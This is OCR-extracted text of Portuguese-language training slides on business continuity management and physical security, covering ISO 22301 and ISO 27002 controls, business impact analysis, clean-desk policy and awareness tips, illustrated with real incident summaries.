contratuais ou regulatérias. confinadas a incidentes isolados | regulatérias ou obrigacdes parcial das atividades por 6rgaos de controle ou reguladores
Legal/ e sem geragao de multas ou contratuais que acarretam no 6rgaos de controle ou nacionais e internacionais.

conformidade

Ponto de auditoria interna de
baixo risco com penalidades
aplicadas a certificagdes
externas nulo.

custos. Alerta ou ponto de
atencéo de auditoria externa
com penalidades aplicadas a
empresa de forma moderada e
impacto em certificagdes
externas baixo.

aumento das inspec¢des, observacdes
e apontamentos do regulador. Ponto

de auditoria interna e/ou externa

relevante com penalidades aplicadas
a empresa e impacto em certificacées

significativas.

reguladores nacionais e
internacionais. Impacto nas
certificacfes externas
significativo. Potencial de
litigios de impacto relevante.

Impedimento para obtencéo de
certificacOes externas. Restricdes
ou grande potencial de litigio de
grandes propor¢des aos negoécios.

Financeira

Impacto desprezivel na
continuidade da cadeia
produtiva, no atendimento ao
mercado ou no resultado
financeiro da empresa. Danos
leves a equipamentos, sem
comprometimento da
continuidade operacional.

Impacto marginal na
continuidade da cadeia
produtiva, no atendimento ao
mercado financeiro ou no
resultado financeiro da empresa.
Danos leves a sistemas e seus
equipamentos, com baixo
comprometimento da
continuidade operacional.

Impacto médio na continuidade da

cadeia produtiva, no atendimento
ao mercado ou no resultado
financeiro da empresa.

Danos moderados a sistemas e
seus equipamentos, com médio

comprometimento da continuidade

operacional.

Impacto critico na
continuidade da cadeia
produtiva, no atendimento ao
mercado ou no resultado
financeiro da empresa.
Danos severos a sistemas e
seus equipamentos, com
reparo lento, com alto
comprometimento da
continuidade operacional.

Impacto catastréfico na
continuidade da cadeia produtiva,
no atendimento ao mercado ou
no resultado financeiro da
empresa.

Danos catastroficos a sistemas,
podendo levar a perda da
instalac&o, com muito alto
comprometimento da
continuidade operacional.

Acionamento

Carater de crise




Programa de GCN



Ciclo de vida FEBRABAN

Estdo estruturadas em linha na metodologia ISO 22301 — Sistema de Gestdo de Continuidade dos Negdécios, que possui como Método de Gestdo o modelo PDCA —
Plan, Do, Check e Act.

i Estabelecer politica de continuidade de negdcios, i
| objetivos, metas, controles, processos e procedimentos
. relevantes para melhorar o programa de GCN, a fim de !
i obter resultados que se alinham com as politicas e os i
! 1
! 1

Estabelecer objetivos globais da organizagéo.

(Plan) 4 R\
Implementar

e operar : !

(Do)

. 1
. Implementar e operar a politica, os controles, !
® processos e procedimentos para a continuidade dos |
] ;.

' negocios. i

Monitorar e avaliar o desempenho frente a politica de

Manter e continuidade de negécios e os objetivos definidos para

melhorar ® 0 programa, comunicar os resultados para revisdo, e

(Act) Monitorar e : i determinar e autorizar acBes para atualizacdo e
revisar ' melhoria continua.

(Check)

i Manter e melhorar o programa de GCN pela tomada de
| medidas corretivas, com base nos resultados de
. avaliagbes e analises de qualidade, e eficiéncia do
i programa.

Ciclo de vida do Sistema

de Gestao de Continuidade dos Negécios
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Visao geral

Modelo de Governanca de Analise de Impacto nos Negécios

Continuidade de Negdcios e Tl ‘ ‘ (BIA)
Priorizar 0S processos e 0s recursos criticos

Definir o escopo e as prioridades para a
Gestédo de Continuidade de Negécios e Tl (instalagdes, pessoas, sistemas e fornecedores)
na visado de disponibilidade considerando os

impactos ao negdcio (imagem, legal, financeiro e
operacional)

Continuado
estratégias de continuidade de SGCN Companhia pode estar exposta,

Treinamento e Teste ‘ Melhoria . Analise de Riscos de Continuidade

Coordenar rotinas de testes das Analisar possiveis ameagas que a
verificando vulnerabilidades dos
principais elementos relacionados a TI,
instalagcdes, fornecedores e
colaboradores

tecnologia da informacao,
identificando desvios, atualiza¢gdes
dos planos e niveis de prontiddo para
contingéncia

Estratégias de Continuidade de
Negocios e Tl

Acompanhar, formalizar e prestar suporte Definir estratégias e solugdes de
implantacdo das estratégias de continuidade continuidade tecnoldgica para 0s processos

de Negécios e Tl, bem como elaboracéo e criticos da Companhia, de acordo com os
aprovacao dos planos cenérios de indisponibilidade definidos

Planos de Continuidade
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Abordagem e metodologia

Etapas de um SGCN

[ — 0:60:0:0:0:6

Objetivo: Introduzir governanca ao programa de continuidade dos negécios, definindo os relacionamentos entre as areas, 0s papéis e
responsabilidades e as partes interessadas, para garantir a manutencao da GCN na organizacao.

\ Assuntos abordados e tratados j‘/
Andlise com base no planejamento estratégico para delimitar Entendimento do processo e organizacdo de compliance existentes
objetivos e possiveis planos de acéo

Avaliacdo de politicas, normas e procedimentos existentes @ Entendimento da alocagdo e investimento de capital da
companhia
Andlise das capacidades de monitoramento implementadas Andlise da estrutura organizacional e definicdo de liderancas
guanto ao tema de GCN

~

Resultam

Politica de GCN Modelo de Gestdo de GCN
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Etapas de um SGCN

n Analise de Impacto nos Negdcios (BIA)

Objetivo: Desenvolver o entendimento e andlise de criticidade dos processos de negécio, a fim de realizar a priorizagdo daqueles mais
criticos em caso de interrupcao da organizacao.

Abordagem utilizada Aspectos avaliados na Analise de Impacto no Negdcio (BIA)

Andlise do tempo maximo de indisponibilidade (RTO) dos
processos das areas de negdécios

Compilagéo dos Relatdrio de Analise

formularios de de Impacto no Sistemas criticos necessarios para manter a operacdo, bem como
Negocio seus RTOs e RPOs (tempo maximo de perda de dados)

Reuniao

presencial BIA

Quantidade minima de profissionais que atuardo em estado de
contingéncia e centralizagdo de conhecimento em pessoas
Elaboragéo gestores especificas

do

relatorio Existéncia de clausulas de Service Level Agreement (SLA),

Clausulas de Gestdo de Continuidade de Negécio (GCN) e
fornecedores alternativos

Compilagio dos Interdependéncia entre os processos de negocios e suas
processos necessidades para continuidade das atividades

Niveis de impactos (financeiro, imagem, legal e operacional)
ocasionados pela indisponibilidade dos processos
Assim como mencionado no CMN n° 4893 — cap. Il — secdo | — § 3° - Art. 3° - inciso IV



Abordagem e metodologia

Etapas de um SGCN

n a 9 Andlise de Riscos

FEBRABAN

Objetivo: Analisar e avaliar possiveis ameacas que a empresa pode submeter-se, tais como a possibilidade de ocorréncia e sua
vulnerabilidade, através da verificacdo dos principais elementos como TI, pessoas, fornecedores e instalacdes.

\ Controles avaliados nas instalagdes fisicas

Avaliacdo das instalacdes relacionada a controles de acessos,
licencas, seguranca fisica e patrulhamento

Controles de ambiente avaliando a redundancia de ar
condicionado e manutengéo preventiva

extintores, alarmes, procedimentos, testes e manutencbes
periddicas

Manutencdo da energia elétrica, autonomia de geradores, no-
breaks, testes e manutencbes periddicas dos equipamentos,
aterramento e para-raios

Andlise do monitoramento existentes nos acessos as
dependéncias das Unidades e tempo a retencdo de imagens

@ Sistema de extingdo de incéndios, detectores de fumaca,

Assim como mencionado no CMN n® 4893 — Sec¢éo Il - Art. 20 - |

Nivel de vulnerabilidade das instalacdes

Nivel de impacto dos processos
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Etapas de um SGCN

Objetivo: Definir estratégias e solucdes de continuidade para os servicos criticos de negécio e Tl da organizacdo, considerando as
priorizacdes da andlise de impacto nos negocios, avaliacao de riscos e diretrizes da organizagao.

Analise de Impacto @
nos Negécios

Niveis de Recursos de SISCINES Tempo de
criticidade Contingéncia criticos Recuperacéo

Estratégias de Continuidade
de Negocios e Tl

Analise de Riscos

Habilidades e recursos Cenarios de Risco
de Tl e Negocio de Tl e Negocios

Niveis de vulnerabilidade de
Tl e Negdcio

Possiveis investimentos em equipamentos

de TI ou infraestrutura para areas de @ Dependéncia de colaboradores terceiros @ Mapeamento do deslocamento de

negocio colaboradores e atividades

Assim como mencionado no CMN n® 4893 — Sec¢éo Il - Art. 6° - | e Il, Art. 16° IV.
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Etapas de um SGCN

Objetivo: Documentar as estratégias de recuperacdo de desastres e continuidade dos negdécios, em procedimentos estratégicos, taticos e
operacionais considerando as ac¢des de contingéncia para pessoas, processos e infraestrutura tecnologica.

l\l Principais pontos documentados

Aspectos praticos no acionamento e execuc¢ao da contingéncia N

Plano de Resposta a Incidentes de Continuidade

incidentes de continuidade

Atividades a serem priorizadas e colaboradores chave

responsaveis pela restauracdo e recuperacéo das operacdes Plano de Continuidade Plano dedco'l?lti nuidade
e

(PCTI)

de Negdcios
(PCN)

|
g Pontos focais para a tomada de decisfes quanto a resposta a

Fluxo de deslocamento de colaboradores e atividades

Plano de Recuperacdo de

Procedimentos para preparacédo, operacéo, entrada, retorno da Desastres
E_|T| contingéncia e validac&do quanto a infraestrutura tecnoldgica (PRD)
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Etapas de um SGCN

Objetivo: Conscientizacdo dos colaboradores envolvidos na gestdo, acionamento e operacionalizacdo das estratégias de recuperacédo de
desastres e continuidade dos negocios com o objetivo de garantir que em caso de necessidade de acionamento, as estratégias definidas
atendam aos objetivos definidos e acordados com a organizacao.

Principais pontos abordados nos treinamentos Principais pontos avaliados nos testes
Divulgacdo e equalizacdo de conceitos e praticas adotadas em Avaliar recursos e cenérios de indisponibilidade conforme estratégia
funcdo da gestdo de continuidade de contingéncia estabelecida
Abordagem de acordo com as estratégias definidas pela Avaliar tempos de resposta, pratica dos colaboradores e
organizacao procedimentos

Garantir a compreenséao dos procedimentos e planos documentados Atingir os objetivos definidos para o teste

Identificar ndo conformidades do plano e acionar fluxo de tratamento

Avaliacdo do nivel de conscientizacao dos colaboradores e melhoria dos mesmos

Assim como mencionado no CMN n® 4893 — Cap. Il — Se¢é@o | — Art. 3° -V, Art. 8°- IV e Art. ©19 - 1lI
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Abordagem e metodologia

Etapas de um SGCN

0000000 -

Objetivo: Desenvolver o modelo de gestédo, processos e procedimentos para garantir que o programa de continuidade dos negécios torne-se
dindmico e atenda as necessidades da organizagéo.

\ Abordagem utilizada

Melhoria continua

Implementacdo de papéis, responsabilidades e processos que
enderecam o ciclo do programa de continuidade de negdcios

Analise da causa raiz

Corrigir desvios observados nas fases do SGCN e implementar
melhorias de processo através da criacao de planos de acdo

Garantia de qualidade

Indicar que os planos de acgdo sejam implementados de forma
completa de acordo com a gestao de mudanca

Gestdo de mudanca

Assim como mencionado no CMN n® 4893 — Cap. Il — Sec&o Il — Art. 10 e Se¢éo | - § 3° - Art. 3°-VI-c¢
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Para apoiar no entendimento e implementacdo de toda a metodologia apresentada neste material, a seguir sdo apresentados as normas e
frameworks de referéncia no tema:

Frameworks Padrao Utilizados

INTERNATIONAL ISO/IEC
STANDARD 27002

NORMA ABNT NBR
BRASILEIRA 1SO
22300 ot
L‘_}?\‘.‘\\T‘- on ffJ/

National Institute of
Standards and Technology

r}

i, e
Q\SQ'

\oternaty
Uopezipie

22301

Conformidade: Dado o uso extensivo de padres amplamente aceitos pela industria, a continuidade dos negdcios deve ser alinhada com alguns dos requisitos
de conformidade mais exigentes, permitindo estimar o nivel de conformidade com NIST, ISO, Bacen 4.893, DRI, entre outros.
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Agora que aprendemos sobre as atividades relacionadas ao processo de gestdo de continuidade de negdcios, relembre os principais termos e
conceitos apresentados neste material:

Disrupcéo: € um incidente, antecipado ou imprevisto, que resulta em desvios negativos e nao planejados na entrega esperada de produtos e servicos.
Veja a sequir alguns exemplos de eventos disruptivos e suas consequéncias ..

Continuidade dos Negocios: capacidade de uma organizacdo continuar a entrega de produtos e servicos em um nivel aceitdvel com capacidade
predefinida durante uma disrupgéao.

Anadlise de Impacto nos Negécios (BIA): avaliar possiveis ameacas que a empresa pode submeter-se, tais como a possibilidade de ocorréncia e sua
vulnerabilidade, através da verificagcdo dos principais elementos como Tl, pessoas, fornecedores e instalacoes.

Plano de Continuidade (PCN): documenta as estratégias de recuperacao de desastres e continuidade dos negdcios, em procedimentos estratégicos,
taticos e operacionais considerando as acdes de contingéncia para pessoas, processos e infraestrutura tecnoldgica.

Treinamentos e testes: conscientizar dos colaboradores envolvidos na gestdo, acionamento e operacionalizacdo das estratégias de recuperacdo de

desastres e continuidade dos negécios com o objetivo de garantir que em caso de necessidade de acionamento, as estratégias definidas atendam aos
objetivos definidos e acordados com a organizacao.
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Este material foi elaborado de acordo com as diretrizes da 1SO 27002, bem como foi considerado os requisitos de seguranga da informacgéao relacionados ao tema de
acordo com as normas e frameworks apresentado abaixo:

7.1 Perimetros de seguranca fisica
7.2 Entrada fisica

7.3 Seguranca de escritérios, salas
e instalacdes

7.4 Monitoramento de seguranca
fisica

7.5 Protegdo contra ameacas
fisicas e ambientais

7.6 Trabalhando em areas seguras

7.7 Limpar mesa e limpar tela

3

9.1 Os processos e mecanismos
para restringir o acesso fisico aos
dados do titular sdo definidos e
compreendidos.

9.2 Os controles de acesso fisico
gerenciam a entrada em
instalagBes e sistemas que contém
dados do titular do cartéo.

9.3 O acesso fisico para pessoal e
visitantes é autorizado e
gerenciado.

9.4 A midia com os dados do titular
do cartdo é armazenada,
acessada, distribuida e destruida
com seguranca.

9.5 Dispositivos de ponto de
interacdo (POI) séo protegidos
contra adulteracao e substituicéo
ndo autorizada.

6.8.1.1 Perimetro de seguranca
fisica
6.8.1.2 Controles de entrada fisica

6.8.1.3 Seguranca em escritérios,
salas e instalacdes

6.8.1.4 Protecdo contra ameacas
externas e do meio ambiente

6.8.1.5 Trabalhando em areas
seguras

6.8.1.6 Areas de entrega e de
carregamento

PR. AA-06: O acesso fisico aos
ativos é gerenciado, monitorado e
aplicado proporcionalmente ao
risco

CM-02: O ambiente fisico é
monitorado para encontrar eventos
potencialmente adversos
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cCasos reais

INNOVATION « CYBERSECURITY

Tovota Parts Supplier Hit By
$37 Million Email Scam

On August 14th, attackers managed to convince someone with financial
authority to change account information on an electronic funds transfer.
Both Toyota Boshoku Corporation and its subsidiary have been in contact

with law enforcement officials and an investigation is under way.

[T] Metropoles

Video: criminosos deixam rastro de explosivos apés roubo a
banco em SP

Equipe do Gate desativa explosivos apés roubo a banco ... Por volta das 4h desta
segunda-feira, a Policia Militar foi acionada apés alguns...

8 de abr. de 2024

E Panrotas
https://www.panrotas.com.br » Hotelaria > Tecnologia

Dados de hotel da Marriott nos Estados Unidos sé&o violados

8 de jul. de 2022 — Por meio do computador desse individuo, o grupo conseguiu exfiltrar 20 GB

de dados. A Marriott minimizou a importéncia da violagao, afirmando a ...

Hotel Marriott: um grupo de hacking utilizou tacticas de engenharia social para roubar 20 GB de dados

FEBRABAN

pessoais e financeiros de um Hotel Marriott. Os hackers enganaram um associado do Hotel Marriott para dar

ao grupo de hacking acesso ao computador do associado.

ﬂ g1 - O portal de noticias da Globo

Galpao pega fogo e chamas destroem parte dos materiais
em empresa em Jacarei

Galpao pega fogo e chamas destroem parte dos materiais em empresa em Jacarei -

De acordo com o Corpo de Bombeiros, o incéndio aconteceu por...
25 de fev. de 2024



Introducao

Segundo a ISO 27002, a segurancga fisica ajuda a prevenir o acesso fisico ndo autorizado, danos e interferéncias com o0s recursos de processamento das
informacdes e as informacdes da organizacao.

Principais controles de seguranca fisica:

Perimetro de
seguranca fisica

Perimetros definidos e
usados para proteger
tanto as areas que
contenham as
instalacdes de
processamento da
informacéo como as
informacdes criticas ou
sensiveis

Monitoramento e
vigilancia

Sistemas de vigilancia,
gue podem incluir
guardas, alarmes de
intruséo, sistemas de
monitoramento de video

Controle de acesso
fisico

Controles apropriados
de entrada para
assegurar gue somente
pessoas autorizadas
tenham acesso permitido

Protecéo de
equipamentos e

infraestrutura

Protecao dos ativos
contra falta de energia
elétrica e outras
interrupgdes, além de
proteger o cabeamento
de energia e
telecomunicacdes que
transporta dado ou da

suporte aos servigos,
além de outros ativos
utilizados pelos 207
funcionérios
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Perimetro de seguranca fisica

Segundo a ISO 27002, os perimetros de segurancga precisam ser definidos e usados para proteger tanto as areas que contenham as instalacdes de
processamento da informacdo como as informacdes criticas ou sensiveis. Exemplos de controles:

Os perimetros de seguranca precisam ser claramente
definidos e que a localizacao e a capacidade de resisténcia de
cada perimetro dependam dos requisitos de seguranca dos
ativos.

Sistemas adequados de detecc¢ao de intrusos

Isao mstalgdos eéeStadOS em intervalos E importante que os perimetros de um local que
regulares, e cubram todas as pOtl‘tas extemas e contenha as instalagdes de processamento da
Janelas acessivels. informac&o ndo tenham brechas.

Area de recepcdo, ou um outro meio para controlar o
acesso fisico ao local para apenas pessoas

Portas corta-fogo do perimetro de seguranca autorizadas entrar.
sejam providas de alarme, monitoradas e

testadas juntamente com as paredes.

Barreiras fisicas sdo importantes para impedir o
acesso fisico ndo autorizado e a contaminacao do

. . 209
meio ambiente.
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Monitoramento e Vigilancia

Segundo a ISO 27002, as instalacdes devem ser continuamente monitoradas quanto a acesso fisico ndo autorizado.

E importante as instalacdes fisicas serem monitoradas por sistemas de vigilancia, que podem incluir guardas, alarmes de intrusdo, sistemas de
monitoramento de video, como circuito fechado de televisédo, e software de gerenciamento de informacdes de seguranca fisica gerenciado internamente ou por
um provedor de servi¢cos de monitoramento.

1 CFTV (Circuito Fechado de televiséao)

= Sistema de monitoramento interno que consiste em cameras distribuidas e conectadas a uma determinada central onde as
imagens séo registradas, gravadas e disponibilizadas através de monitores.

» Permite avaliagdes comportamentais, monitoramento de vias, monitoramento familiar, avaliacdo de ambientes altamente criticos ao
ser humano, fendmenos ambientais, seguranca do trabalho, entre outros.

» Visualizar e registrar o acesso a areas sensiveis dentro e fora das instalacées de uma organizacao

= Permite o monitoramento em tempo real.

2 Detector de Intrusao

» |nstalar, de acordo com as normas aplicaveis pertinentes, e testar periodicamente detectores de contato, som ou movimento

para acionar um alarme de intrusao.
» Detectores de movimento baseados em tecnologia infravermelha que disparam um alarme quando um objeto passa por seu

campo de visao.
» Instalacdo de sensores sensiveis ao som de vidros quebrando que podem ser usados para acionar um alarme para alertar a

seguranca.
» Usar esses alarmes para cobrir todas as portas externas e janelas acessiveis. As areas desocupadas devem ser alarmadas 0

tempo todo; deve também ser prevista cobertura para outras areas.

210



Controles de entrada fisica
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Segundo a I1SO 27002, areas seguras devem ser protegidas por controles apropriados de entrada para assegurar que somente pessoas autorizadas

tenham acesso permitido.

A data e hora da entrada e saida de visitantes sejam registradas,
e todos os visitantes sejam supervisionados, a ndo ser que 0 seu
acesso tenha sido previamente aprovado; as permissdes de acesso
s6 sejam concedidas para finalidades especificas e autorizadas.

O acesso as areas em que séo processadas ou armazenadas
informacdes sensiveis seja restrito apenas ao pessoal
autorizado

Trilha de auditoria eletrénica ou um livro de registro fisico de todos
0s acessos seja mantida e monitorada de forma segura

O acesso restrito as areas seguras ou as instalacées de
processamento da informacgéo sensiveis sejam concedidos,
somente quando necessario; este acesso seja autorizado e
monitorado.

Os direitos de acesso a areas seguras sejam revistos e
atualizados em intervalos regulares, e revogados quando
necessario
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Segundo a I1SO 27002, € necessario projetar e aplicar a protecédo fisica contra desastres naturais, atagues maliciosos ou acidentes para proteger os
escritorios, salas e instalacdes e os profissionais trabalharem em areas seguras.

Instalacdes-chave devem ser localizadas de maneira a evitar o acesso do publico @

InstalacGes devem ser projetadas para evitar que as informagdes confidenciais ou as atividades sejam
visiveis e possam ser ouvidas da parte externa.

Nao permitir o uso de maquinas fotograficas, gravadores de video ou audio ou de outros equipamentos de
gravacao, tais como cameras em dispositivos méveis, salvo se for autorizado.

Orientacdes de especialistas sejam obtidas sobre como evitar danos oriundos de fogo, inundacéo,
terremoto, explosao, manifestacdes civis e outras formas de desastre natural ou provocado pela natureza.

Conhecimento da existéncia de areas seguras ou das atividades nelas realizadas, apenas se for necessario
Areas seguras, ndo ocupadas, sejam fisicamente trancadas e periodicamente verificadas
212
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Segundo a ISO 27002, os pontos de acesso, tais como areas de entrega e de carregamento e outros pontos em que pessoas nao autorizadas possam entrar
nas instalacdes, devem ser controlados e, se possivel, isolados das instalacdes de processamento da informacéo, para evitar o acesso nao autorizado.

D

Acesso a uma area de entrega e carregamento a partir do exterior do prédio fique restrito
ao pessoal identificado e autorizado.

Areas de entrega e carregamento devem ser projetadas de tal maneira que seja possivel carregar e
descarregar suprimentos sem que os entregadores tenham acesso a outras partes do edificio. @

As portas externas de uma area de entrega e carregamento devem ser protegidas enquanto as
portas internas estiverem abertas.

Os materiais entregues devem ser inspecionados e examinados para detectar a presenca de
explosivos. Os materiais entregues devem ser registrados de acordo com os procedimentos de
gerenciamento de ativos.

As remessas entregues devem ser segregadas fisicamente das remessas que saem, sempre que
possivel.

Os materiais entregues devem ser inspecionados para evidenciar alteracédo indevida. Caso alguma
alteracéo indevida seja descoberta, ela deve ser imediatamente notificado ao pessoal da
seguranca.
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Segundo a ISO 27002, os equipamentos precisam ser colocados em local ou protegidos para reduzir os riscos de ameacas e perigos do meio-ambiente,
bem como as oportunidades de acesso nao autorizado.

Os equipamentos devem ser colocados
no local, a fim de minimizar o acesso
desnecessario as areas de trabalho

As instalacdes de processamento da
informacdo que manuseiam dados sensiveis
devem ser posicionadas cuidadosamente
para reduzir o risco de que as informacdes
sejam vistas por pessoal ndo autorizado
durante a sua utilizagéo.

E necessario diretrizes quanto a comer,
beber e fumar nas proximidades das
instalacGes de processamento da informacéao

Todos os edificios devem possuir protecao
contra raios e todas as linhas de entrada de
forca e de comunicacgdes tenham filtros de

protecdo contra raios

Condigbes ambientais, como temperatura e
umidade, devem ser monitoradas para a
deteccao de condi¢des que possam afetar
negativamente as instalagcdes de processamento
da informacéao

Os equipamentos que processam informacdes
sensiveis devem ser protegidos, a fim de
minimizar o risco de vazamento de informagoes
em decorréncia de emanacg0es eletromagnéticas
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Segundo a ISO 27002, é necessério proteger as utilidades contra falta de energia elétrica e outras interrup¢des, além de proteger o cabeamento de
energia e telecomunicacdes que transporta dado ou da suporte aos servigos.

cessério conformidade com as especificacdes do fabricante do equipamento e com 0s requisitos legais da localidade.

E necessario que as utilidades sejam avaliadas regularmente quanto & sua capacidade para atender ao crescimento do mmm
negaécio e as interacbes com outras utilidades.

cessério alarmes para detectar mau funcionamento, quando necessario.

cessério multiplas alimenta¢cdes com rotas fisicas diferentes.

E recomendado que as linhas de energia e de telecomunicacdes que entram nas instalacdes de processamento da
informagé&o sejam subterraneas.

Os cabos de energia precisam ser segregados dos cabos de comunicacoes, para evitar interferéncias
215
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Segundo o0 ISO 27002, é necessério que 0s equipamentos tenham uma manutencgdo correta para assegurar sua disponibilidade e integridade
permanente.

* A manutencdo dos equipamentos seja realizada nos intervalos recomendados pelo fornecedor @
e de acordo com as suas especificacoes.

« A manutencdo e os consertos dos equipamentos s6 sejam realizados por pessoal de
manutenc¢do autorizado.

E necessario manter registros de todas as falhas, suspeitas ou reais, e de todas as operacées
de manutencé&o preventiva e corretiva realizadas. @

E necessario a implementacdo de controles apropriados, na época programada para a manuteng&o do
equipamento, dependendo da manutencao ser realizada pelo pessoal local ou por pessoal externo
a organizacao; onde necessario, informacgdes sensiveis sejam eliminadas do equipamento.

Antes de colocar o equipamento em operacéo, ap0s a sua manutencao, € necessario realizar
inspecao para garantir gue o equipamento nao foi alterado indevidamente e que ndo esta em mau
funcionamento.
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Segundo a ISO 27002, os ativos ndo podem ser retirados das dependéncias sem a autorizacao prévia, e quando forem operados fora do local, € necessério
levar em conta os diferentes riscos e tomar medidas para utilizar os ativos em seguranca.

Os controles para as localidades fora das
dependéncias da organizagdo, como, o
trabalho em casa e localidades remotas e
temporérias, devem ser determinados por
uma avaliacdo de riscos, devendo ser
aplicados controles adequados.

Quando o equipamento fora das dependéncias
da organizacéo é transferido entre diferentes
pessoas ou partes externas, convém que seja
mantido um registro para definir a cadeia de
custodia do equipamento.

O Shoulder Surfing € uma das taticas utilizadas
na Engenharia Social para obter informacgdes,
consiste no atacante se posicionar de maneira
que seja possivel observar as informagfes do
alvo, geralmente por cima de seu ombro.

Os equipamentos e midias removidos das
dependéncias da organizagdo ndo devem
ficar sem supervisdo em lugares publicos.

E necessério a documentacéo da
identidade, atribuicéo e funcdo de qualquer
pessoa que manuseia ou utiliza os ativos, e
gue esta documentacéo seja devolvida com
0 equipamento, a informacéo ou software.

Sempre que necessario ou apropriado, é
recomendado que seja feito um registro da
retirada e da devolucéao de ativos, quando do
seu retorno.

E necessario a identificac&o dos funcionarios,
fornecedores e partes externas tenham
autoridade para permitir a remoc¢éao de ativos
paraforado local
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Segundo o PCI, os dados do titular estdo sujeitos a visualizagdo, copia ou digitalizacdo ndo autorizada se estiverem desprotegidos enquanto estiverem
em uma midia removivel ou portatil, impressos ou deixados na mesa de alguém.
P P J Tela Desbloqueada

Documentos

N Post — it
s (Podem
conter

Senhas)

L TUIT S TR L

Contas 219
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Politica de mesa limpa e tela limpa

Um caso real relacionado a politica de mesa limpa
envolveu a agencia de gerenciamento de emergéncias
do Havai em 2018 onde a populacdo do estado
recebeu um alerta de ameaca de missil, solicitando
busca por abrigo com urgéncia.

Porém o caso néo passou de uma falha humana. Logo i AR 4 ki, O e ot e S b e
algumas pessoas na internet notaram uma foto O At e i et s
compartilhada um ano antes do acontecimento onde s o ko o o e . S s o i e s ey
aparecia um post-it com a senha e usuéario de Ly g bty g el iy 0y
acesso ao sistema, colado a tela do computador S e

——

. A— f—— aenstmn -—

gue monitorava esse tipo de ameaca. T

Dvacummon Wown  + Paen o Dacms fwam [ The Lige of Sompmey
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Segundo o PCI, os dados do titular estdo sujeitos a visualizacao, cOpia ou digitalizacdo ndo autorizada se estiverem desprotegidos enquanto estiverem

em uma midia removivel ou portatil, impressos ou deixados na mesa de alguém.

Para reduzir os riscos de acesso nao autorizado, perda ou
danos as informacdes internas e confidencias durante e fora do
horario de expediente, os colaboradores e terceiros devem
seqguir os critérios abaixo:

v Ao final do dia, ou no caso de auséncia prolongada, limpar
a mesa de trabalho;

v Informacdes Internas e Confidenciais devem ser mantidas
em local apropriado;

v' Os papéis ou midias de computador ndo devem ser
deixados sobre as mesas, quando nao estiverem sendo
usados devem ser guardados de maneira adequada para
minimamente evitar facil acesso.

v' Sempre que nao estiver utilizando o computador ndo deixar
nenhum arquivo aberto, de modo que as informacbes
possam ser visualizadas por outras pessoas gue estiverem
no setor;

v' As chaves de gavetas, armarios e de portas devem ser
guardadas em locais fechados, evitando o acesso.

Dados de identificacdo do Livros, manuais,

usuario como crachas, politicas...

documentos

Anotacdes sensiveis que
podem expor ou comprometer
a integridade da informacéo

O usuério deve estar ciente de que
€ de sua responsabilidade a
garantia e aplicagéo de seguranca
sobre as informacgdes da
organizacao, tais como acesso, uso,
compartilhamento e descarte.
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Politica de mesa limpa e tela limpa

Seu lixo ou sua mesa podem: ]

04005001 - S30 Pauto - SP

» Cuidados simples, mas eficazes:

= Nao deixe as portas abertas. Isto facilita 0 acesso

LIl
§
i'

(T

indevido de pessoas néo autorizadas.

—

= Sempre acompanhe visitantes a area desejada, nao
v" Revelar seus dados e informacgdes pessoais

_ _ o deixando gue transitem desacompanhados pela empresa.
v" Fornecer informagdes confidenciais da empresaao

publico externo ou a pessoas ndo autorizadas.

v Possibilitar que outros colaboradores, ou até = Ndo aborde assuntos confidenciais em ambientes
mesmo terceiros, tenham acesso a seus e-mails - :
elou informacdes restritas de seu computador, caso o publicos. Seja num almogo ou num telefonema.
bloqueio de tela ndoseja realizado ao deixar seu posto
de trabalho.
v/ Fornecer a visitantes suas credenciais de acesso as = Realize descarte seguro. Com uso de fragmentadoras

instalagbes da Companhia com uso de seu cracha
deixado na mesa.

para matérias impressos e DVDs e delecédo segura para

midias magnéticas.
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Algumas dicas e sugestdes que vocé pode seguir para minimizar os riscos.

« Desabilite a funcdo de auto executar para
midias removiveis em seu computador.

* Nunca conecte dispositivos USB
desconhecidos ou de pessoas nao
confiaveis em seu computador.

« N&o utilize dispositivos pessoais em
equipamentos da empresa.

« Caso encontre um dispositivo USB,
entregue para a seguranca da sua empresa
ou para o departamento de TI, informando
onde vocé o encontrou.
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Algumas dicas e sugestdes que vocé pode seguir para minimizar os riscos.

Bloqueio de tela

Sempre deixar a tela do computador em modo de descanso com senha ao sair de sua posi¢ao, e sempre conectar aparelhos
a redes wi-fi conhecidas

Seguranca de documentos

Nao deixar documentos com informacdes importantes espalhados pela mesa

Controle de acesso

Sempre utilizar sua identificagdo para entrada e saida da empresa para manter o controle corretamente monitorado

Protecdo digital
Utilizar senhas fortes e realizar backups periodicamente

Phishing
N&o abrir e-mails suspeitos, sempre verificar o endereco remetente e se o contetdo esta coerente com os pedidos da
empresa
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Para apoiar no entendimento e implementacdo de toda a metodologia apresentada neste material, a seguir sdo apresentados as normas e
frameworks de referéncia no tema:

Frameworks Padrao Utilizados

INTERNATIONAL ISO/IEC
STANDARD 27002

D SS National Institute of
» J COMPLIANT Standards and Technology

o

Conformidade: Requisitos de conformidade mais exigentes, permitindo estimar o nivel de conformidade com ABNT NBR ISO, PCI-DSS, NIST, entre outros
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Agora que aprendemos sobre as atividades relacionadas a Seguranca Fisica, relembre os principais termos e conceitos apresentados neste
material:

Perimetro de Seguranca: O perimetro de seguranca tem como objetivo evitar 0 acesso nao autorizado, maior restricdo de acesso, rastreabilidade dos
acessos e dano ou interferéncia aos sistemas de informagéo considerados sensiveis.

Controles de Entrada: Controles tecnoldgicos e processos para autenticar o acesso de pessoas..

Utilidades: Equipamentos que fornecem suprimento de energia elétrica, telecomunicacdes, suprimento de agua, gas, esgoto, calefacdo/ventilacdo e ar-
condicionado

Ativos: Equipamentos, midias, informac6es de propriedade da empresa.

Shoulder Surfing: Pratica que o atacante se posiciona de maneira que seja possivel observar as informacdes do alvo, geralmente por cima de seu ombro.

Politica da Mesa Limpa: Pratica que tem como objetivo reduzir o risco de violacdo de seguranca da informacdo, causadas por documentos e
equipamentos deixados sozinhos e acessiveis nas mesas.
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Requisitos — Conscientiza¢ao e Treinamentos

Este material foi elaborado de acordo com as diretrizes do CIS Controls e PCI DSS, bem como foi considerado os requisitos de seguranc¢a da informacao relacionados
ao tema de acordo com as normas e frameworks apresentado abaixo:

CIS Controls PCI DSS ISO 27002 ISO 27701 NIST CSF

Q
[——=] .
[——]
[——]

+ 14.1 Estabelecer e manter um programa de » 12.6 A educagao de conscientizagdo sobre * 6.3 Conscientizacdo, educagéo e » 5.5.3 Conscientizagédo * PR.AT-02 Conscientizacao e treinamento
conscientizacdo de seguranga seguranga é uma atividade continua. treinamento em seguranca da informagao * 6.4.2.2 Conscientizagéo, educacéo e para diferentes funcoes

